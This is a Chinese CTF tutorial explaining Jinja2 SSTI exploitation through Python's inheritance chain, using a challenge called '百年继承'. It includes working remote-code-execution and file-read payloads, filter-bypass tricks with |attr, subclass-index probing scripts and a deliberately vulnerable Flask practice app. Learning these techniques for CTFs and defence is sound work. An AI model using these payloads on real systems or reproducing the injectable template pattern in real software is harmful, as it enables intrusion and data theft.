CTF里有一类题目,名字听起来像历史题,实际考的是Python的继承链和特殊属性。前几天刷题碰到一道名为“百年继承”的题,就是一个普通Flask页面,输入昵称后服务端用render_template_string拼进模板再渲染。一眼看过去是SSTI,测了一下{{7*7}}能回显49,然后我卡住了。不是卡在不知道用__class__,而是卡在为什么知道那么多特殊属性,却始终拼不出一条能读文件的完整链子。后来把思路梳理清楚才发现,这类题的破解点完全集中在一条“从任意对象回溯到object、再从object下潜到危险类”的继承链上。这篇文章就借着这道题,把Python继承链和特殊属性的玩法从头到尾理一遍,适合刚接触SSTI、沙箱逃逸,或者刷题时总在__globals__这里卡壳的选手。
1. 从“百年继承”说起:继承链在CTF里到底是干啥的
1.1 一道题让我卡了两小时
先说那道题给我的直观感受。页面只有输入框和一句欢迎语,URL参数是name。当我输入{{7*7}},页面直接回显49,这说明参数被拼进了Jinja2模板,存在SSTI,也就是服务端模板注入。理论上,只要能在模板里执行表达式,下一步就该考虑远程命令执行或者读文件。可问题恰恰出在下一步:我知道要利用__class__和__subclasses__()这些特殊属性,但真正拼payload的时候,要么索引对不上,要么拿到的对象根本不是想要的东西,折腾了很久才把一条完整链路走通。
那道题源码逻辑并不复杂。简化以后大概是这个结构:
from flask import Flask, request, render_template_string class Hundred: pass class Year(Hundred): pass class Inherit(Year): pass app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'world') obj = Inherit() template = f''' <div>{name}</div> <div>generated by {obj.__class__.__name__}</div> ''' return render_template_string(template)这类结构在CTF里很常见:一个继承了多层的自定义类,配合一个SSTI注入点。你以为考点是某个类里藏了秘密,其实考点是让你从obj这样一个普通对象出发,沿着继承链反复跳转,最终拿到系统能力。换句话说,题目叫“百年继承”,继承的既是代码逻辑,也是你翻家谱的耐心。
1.2 万物皆对象与血缘链直觉
要理解继承链为什么能用于攻击,必须接受一个事实:Python里万物皆对象。整数是对象,字符串是对象,列表是对象,类本身也是对象,函数也是对象。既然是对象,它就一定属于某个类;既然属于某个类,这个类就一定继承自某个父类;一路向上回溯,最终都会到达object。object是所有新式类的基类,是整个继承体系的“祖爷爷”。
这里最关键的一点是:在SSTI这种沙箱场景里,我们没有机会直接引用os、subprocess等模块,但我们可以从任意一个对象出发,拿到它的类型,再通过类型拿到父类,一直回溯到object,然后借助object.__subclasses__()把当前进程里已经加载的所有类全部捞出来。这些类里总有那么几个类的方法内部会用到__import__、eval、system之类的能力,而且它们的方法对象上有__globals__属性,直接暴露了定义该方法时所在模块的全局命名空间。
把这条链路类比成家族族谱非常直观。一个家族再庞大,只要你能找到任意一个家族成员,就能顺着他父亲、祖父一路查到祖爷爷;祖爷爷的后代列表里有各种你想不到的亲戚。你不需要重新认识所有人,只需要从手头这一个成员出发,把整条线走一遍。这就是“继承链”的本质用法。
2. 摸清家谱:六个特殊属性逐个拆解
2.1class、base、bases:向上走的每一步
先做一个小实验,在本地Python交互环境里跑一下:
class A: pass class B(A): pass b = B() print(b.__class__) print(b.__class__.__base__) print(b.__class__.__bases__)输出分别是:
<class '__main__.B'> <class '__main__.A'> (<class '__main__.A'>,)这里出现了三个非常基础的特殊属性:
__class__:任何一个对象都有,指向“这个实例是由哪个类创建的”。__base__:类属性,指向单一继承时的直接父类。__bases__:类属性,返回一个元组,里面是所有直接父类。单继承时只有一个元素,多继承时会有多个。
在SSTI表达式里,.__class__是最常用的第一步。比如字符串''是一个对象,''.__class__就是str。如果题目过滤了__class__这个字符串,后面我会讲怎么绕,但原理上它是整条链的起点。
要注意__base__和__bases__都是类的属性,实例访问时也能拿到,因为实例会沿着类查找。它们只返回直接父类,不会一次返回祖父类。想继续往上走,得重复操作。比如b.__class__.__base__.__base__就能从B走到A再走到object。这正是“链”这个名字的由来。
2.2mro:官方认证的继承链地图
__class__能拿到所属类,__base__能拿到直接父类。但如果有多重继承,一步步.__base__就很累,而且容易漏。Python为此提供了官方地图:__mro__,也就是Method Resolution Order,方法解析顺序。
class A: pass class B(A): pass print(B.__mro__)输出:
(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)__mro__是一个元组,里面的顺序就是Python在查找方法时实际访问类的顺序。因为它是元组,所以支持索引。比如''.__class__.__mro__[1]在Python 3里可以直接拿到object,因为str的MRO是(str, object),索引1就是object。
这也是很多老payload里''.__class__.__mro__[2]失效的原因。在Python 2里,str的MRO包含(str, basestring, object),索引2才是object;到了Python 3,str的MRO变成(str, object),索引1就是object。照抄老文章,在Python 3环境里要么越界,要么拿到完全不同的东西。
更稳的写法我建议用空元组:
().__class__.__bases__[0]空元组的类型是tuple,tuple的直接父类只有一个,就是object,所以不管Python 2还是Python 3,这一句都能稳定拿到object。在SSTI里写成{{().__class__.__bases__[0]}}或者{{().__class__.__base__}},结果同样可靠。
2.3subclasses():从object下行到所有子类
拿到object之后,真正的宝藏是object.__subclasses__()。这个方法返回当前类所有直接子类。由于object是所有新式类的祖先,这个列表几乎包含了当前Python进程里已经定义或加载的全部类。
这句话需要澄清一下,很多新手会误解成“返回所有后代类”。准确地说,它只返回直接子类,也就是父类直接是object的那些类。但这些类本身也有子类,想拿更下层,得对它们进一步调用.__subclasses__()。实战里通常不递归,因为第一层直接子类已经足够丰富,里面有大量来自标准库和Web框架的类,足够找到攻击目标。
在SSTI表达式里,我们没法写完整for循环动态遍历这个列表,只能靠索引直接取某个位置。问题是,这个列表的顺序不稳定,同一个Python版本、同样的代码,只要导入模块的顺序不同,列表顺序就会变。所以固定索引的payload换个环境就可能失效。正确做法是先在本地用脚本打印所有类的索引和名字,找到目标类的下标,再去远端尝试。
2.4init.globals:进入函数内部世界的关键一跳
有了类列表,距离命令执行还差最后一跳:如何从类跳到系统调用。答案藏在类的方法对象上。
Python里函数是一个对象,函数对象有一个属性叫__globals__,它返回一个字典,里面保存的是定义这个函数时所在模块的全部全局变量。类的实例方法本质上是函数,所以某类.__init__也是一个函数对象,自然也有__globals__。
以warnings.catch_warnings为例,这个类在warnings模块里。它的__init__方法定义在warnings模块的全局作用域中,因此:
warnings.catch_warnings.__init__.__globals__会返回warnings模块的全部全局命名空间,里面自然包含sys、__builtins__等。再往下走一步:
''.__class__.__mro__[1].__subclasses__()[idx].__init__.__globals__['__builtins__']['__import__']就能动态导入任意模块。到这里,从任意字符串出发到远程命令执行的完整链路就通了。
我在练习时习惯把这条链路写成速查表,随时翻看:
| 特殊属性 | 作用 | 典型表达式 |
|---|---|---|
__class__ | 取实例所属的类 | ''.__class__ |
__base__/__bases__ | 取类的一个或多个直接父类 | ().__class__.__base__ |
__mro__ | 取类的完整继承顺序元组 | ''.__class__.__mro__ |
__subclasses__() | 取一个类的直接子类列表 | object.__subclasses__() |
__init__ | 取类的初始化方法(函数对象) | 类.__init__ |
__globals__ | 取函数定义处的全局命名空间字典 | 类.__init__.__globals__ |
这份速查表值得背下来,因为它能覆盖八成以上SSTI和沙箱逃逸题目。
3. 完整实操:从SSTI注入点到拿到flag
3.1 先做四步信息收集
无论题目怎么包装,我的套路都一样。第一步,确认SSTI。随便找一个能回显的位置输入{{7*7}},如果页面返回49,说明模板表达式被执行了。第二步,确认Python版本。可以用{{().__class__.__base__}}和{{''.__class__.__mro__}},观察返回的是<class 'object'>、(<class 'str'>, <class 'object'>)还是Python 2风格的类型名。第三步,确认有哪些特殊属性可用,比如{{''.__class__.__mro__[1].__subclasses__()}}能否正常返回列表。第四步,确认题目有没有过滤规则,比如把点号、方括号、__、class等关键字替换成空字符串。
以“百年继承”这道题为例,前三步通常畅通无阻,重点就在于找到一条可用的链。先别急着上命令执行,先用软柿子验证:尝试读文件,或者先弹一段无伤大雅的命令,确认链路真的能走通,再上真正的flag读取payload。
3.2 本地生成类索引表
远端环境我们没法直接跑循环,但可以在本地用同样的Python小版本生成索引表。脚本很简单:遍历object.__subclasses__(),打印索引、模块名和类名,筛选出几个常见的危险目标。我优先关注三个类:warnings.catch_warnings、os._wrap_close、subprocess.Popen。
import os, warnings, subprocess for idx, cls in enumerate(object.__subclasses__()): name = cls.__name__ module = getattr(cls, '__module__', '') if name in ['catch_warnings', '_wrap_close', 'Popen']: print(idx, module, name)输出示例:
118 warnings catch_warnings 132 os _wrap_close 252 subprocess Popen注意,这个数字只对“同样的Python版本、同样的导入状态”有效。远端Flask应用会比本地脚本多加载很多包,所以直接拿本地数字去打远端,大概率会偏差几个位置。我这里说的是让你先在本地确认目标类存在和结构,再在远端用二分法或者多试几个邻近索引来定位。如果远端允许构造探测表达式,也可以直接在模板里拿类名回显来定位,但不如离线分析省心。
3.3 两条标准命令执行路线
路线A:通过warnings.catch_warnings动态导入模块。
{{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}这条链路的意思:空字符串 -> str类 -> object -> 直接子类列表第118项(catch_warnings) -> 它的__init__函数 -> 该函数所在模块的全局命名空间 -> 取出__builtins__ -> 取出动态导入函数 -> 导入os -> 用popen执行命令并读取结果。每一步都可以单独验证,推荐从后往前验证。先访问...['__builtins__']看它是否是dict或module,再访问['__import__']是否是函数,最后拼接完整命令。有一点要注意,__builtins__在模块全局命名空间里通常是dict,少数情况下是builtins模块;如果拿到的是module,就改成__builtins__.__dict__['__import__']。
路线B:通过os._wrap_close直接拿system。
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat /flag')}}这条比路线A短,因为os._wrap_close定义在os模块里,它的__init__.__globals__直接就是os模块的全局命名空间,里面有现成的system函数。这个思路在Python 3.7以上很流行,原因是_wrap_close经常稳定出现在object的子类列表中,索引偏移也不会太大。
还有一个更短的思路:找subprocess.Popen,然后直接实例化:
{{''.__class__.__mro__[1].__subclasses__()[252]('cat /flag', shell=True, stdout=-1).communicate()}}Popen是类而不是普通函数,直接调用类本身就能创建子进程。它不需要__globals__,遇到属性访问过滤时这条路经常能救命。
3.4 如果flag藏在继承链的属性里怎么办
有些题目把flag放在自定义类的类属性里,比如“百年继承”背景下的Inherit类可能有secret = 'flag{...}'。这种情况下不需要RCE,只需要顺着继承链找到那个类并读取属性。
假设模板能拿到某个实例对象,在Jinja2里可以直接试探:
{{obj.__class__.__mro__}} {{obj.__class__.__mro__[0].__dict__}} {{obj.__class__.__mro__[1].__dict__}}如果flag不在当前类,就在父类,一路看__mro__元组里每个类各自的__dict__或__base__。类属性存在于类的__dict__中,直接访问即可。这类题反而更简单,不需要把链走到系统层,只需要做到“向上找类、横向翻字典”这两步。
再多说一个细节:访问__dict__会输出完整的属性字典,包括方法名、类变量、模块信息,信息量很大。如果页面输出被限制,可以在本地构造相同的类结构,复现继承链,然后离线分析看哪一层。经验是,出题人喜欢把关键属性放在离目标类最近的一两层,别一上来就想着从object开始大海捞针。
4. 继承链利用最容易翻车的五个细节
链路跑通不等于稳定。我在实战里踩过的坑,基本集中在下面这五个地方。
4.1 索引固定地狱:本地payload到靶机就失效
最常遇到的问题就是:本地明明第118位是catch_warnings,打到靶机上怎么变成别的类了。原因在于__subclasses__()的列表顺序取决于进程加载模块的顺序,Flask应用启动时会比本地脚本多加载海量模块,索引当然会变。
解法有两条路。第一,尽力复现远端环境,比如在同样的虚拟环境里起一个Flask应用,再跑脚本打印子类列表,这样得到的索引可信度更高。第二,不要依赖单一索引,把几个候选索引的payload都准备好,逐个试。还有一个小技巧:构造一个能返回“某个索引处的类名”的探测payload,例如:
{{''.__class__.__mro__[1].__subclasses__()[i].__name__}}用一个自动脚本遍历i的取值,把远端返回结果和本地类名对比,就能定位真实索引。这个方法慢,但很稳。
4.2 Python 2与Python 3的MRO索引差异
前面已经提过,这里再强调一次:Python 2里str的MRO包含basestring,所以老文章的mro[2]在Python 3里就失效;Python 3直接用mro[1]就能拿到object。建议统一使用().__class__.__base__这样的写法,一眼望去就不会被Python版本坑到。如果题目明确是Python 2环境,反而要注意object前面可能还有其他中间类,要灵活看__mro__的实际输出。
4.3globals不是对所有对象都有效
我见过不少人对着一个实例对象使劲敲obj.__globals__,结果报错'str' object has no attribute '__globals__'。因为__globals__是函数对象的属性,不是普通对象的属性。实例对象本身没有这个属性,正确姿势是先拿到类,再拿类的方法,比如类名.__init__.__globals__。如果某个类没有重写__init__,那就往父类找,用.__base__或.__mro__[1]找到父类的__init__再取__globals__。
4.4 属性名被过滤时用attr过滤器绕
题目一旦把__class__、__globals__这些关键字替换成空字符串,常规payload就废了一半。这时候Jinja2的attr过滤器是主要拐杖。它可以把属性名字符串动态传给对象,不再依赖点号:
{{ ''|attr('__class__') }}等价于:
{{ ''.__class__ }}属性名也可以动态拼接:
{{ ''|attr('__cl' ~ 'ass__') }}如果有request对象可用,更优雅的做法是把整段超长payload写到GET参数里,模板中只保留简短表达式。比如:
{{ ''|attr(request.args.a) }}URL传a=__class__,它等价于{{ ''.__class__ }}。更长的payload类似,把每个属性名和方法名都放到参数里,模板端用多个|attr组合。需要注意,|attr只能取属性,不能传参调用;如果某个属性是函数,通过|attr取到后还需要再补()来调用。
4.5 能读文件就先读文件,别急着打命令
有些题目的过滤会拦截system、popen、os这些关键词,但不会拦截open。如果目标是读flag,优先找__builtins__['open'],直接用读文件路线:
{{''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__['__builtins__']['open']('/flag').read()}}读文件payload通常比命令执行payload短,命中的类也更少。命令执行被拦,不代表read被拦。反过来说,如果过滤拦截所有带括号的调用,再考虑用attr过滤器和动态参数逐层拆。攻击路线的优先级应该是:找类属性解密 -> 读文件 -> 回显命令执行 -> 无回显外带。别一上来就上最猛的。
5. 自己搭个“百年继承”练手靶场
5.1 二十分钟搭一个本地SSTI靶子
光看不练没用。我强烈建议自己起一个最小靶场,把整条链亲手打通一遍。下面是完整可运行的Flask代码,保存成app.py:
from flask import Flask, request, render_template_string class Hundred: flag = 'flag{local_heritage_demo}' class Year(Hundred): pass class Inherit(Year): pass app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') obj = Inherit() template = f''' <div>hello {name}</div> <div>obj: {obj.__class__.__mro__}</div> ''' return render_template_string(template) if __name__ == '__main__': app.run(debug=True, port=5000)启动后访问http://127.0.0.1:5000/?name={{7*7}},看到49就说明靶场正常。然后按第三章的方法一步步打:先拿object,再翻子类列表,再定位catch_warnings或os._wrap_close,最后读flag或执行命令。
自己搭靶场的好处是可以随便改过滤条件。你可以加一个中间件把所有__替换成空字符串,再试|attr方案;可以把system拉黑,再试读文件方案。一个题目吃透以后,遇到变种就不慌了。
5.2 一份可以直接抄的本地探测脚本
每次搭新环境都要手动敲一遍索引扫描,太累了。下面这个脚本我平时直接丢在项目目录里,跑一下就能列出目标类的索引:
import warnings, subprocess for idx, cls in enumerate(object.__subclasses__()): module = getattr(cls, '__module__', '') if module.startswith('warnings') or module.startswith('os') or module.startswith('subprocess'): if idx < 500: print(idx, module, cls.__name__)跑完以后,把输出的索引填进payload里即可。注意,脚本启动时先import了warnings、subprocess,这会改变sys.modules里模块的加载顺序,进而影响object.__subclasses__()。所以,要尽可能模拟目标应用的import顺序。最简单的办法是在本地也搭一个Flask应用,在应用内部执行这段扫描,而不是单独跑一个裸Python脚本。
5.3 一份万能的“继承链速查笔记”
最后分享一份我自己整理的笔记,每次比赛前都会扫一眼。核心链是:
任意对象 -> __class__ -> 所属类 -> __mro__ 或 __base__ -> object -> __subclasses__() -> 目标类 -> __init__ -> __globals__ -> __builtins__ 或 os.system记忆口诀是“类、父、大、子、初、局”:取类、取父类、取最大祖先、取子类列表、取初始化方法、取全局命名空间。看到SSTI题先默念一遍口诀,再决定从哪一步开始构造。
备选链还有两条。第一条是绕过属性过滤时用|attr('__class__');第二条是当__globals__拿不到时,尝试直接实例化subprocess.Popen。多准备几条备选链,比赛时就不至于一条路走到黑。
我个人刷下来最大的体会是:继承链本身不难,难的是在千变万化的过滤环境下灵活选择入口和绕法。每次赛后复盘,把新遇到的过滤规则和对应解法补进自己的速查笔记,下一次遇到类似的题,打开笔记五分钟内就能出payload。这种积累,比临时背几十条固定payload有用得多。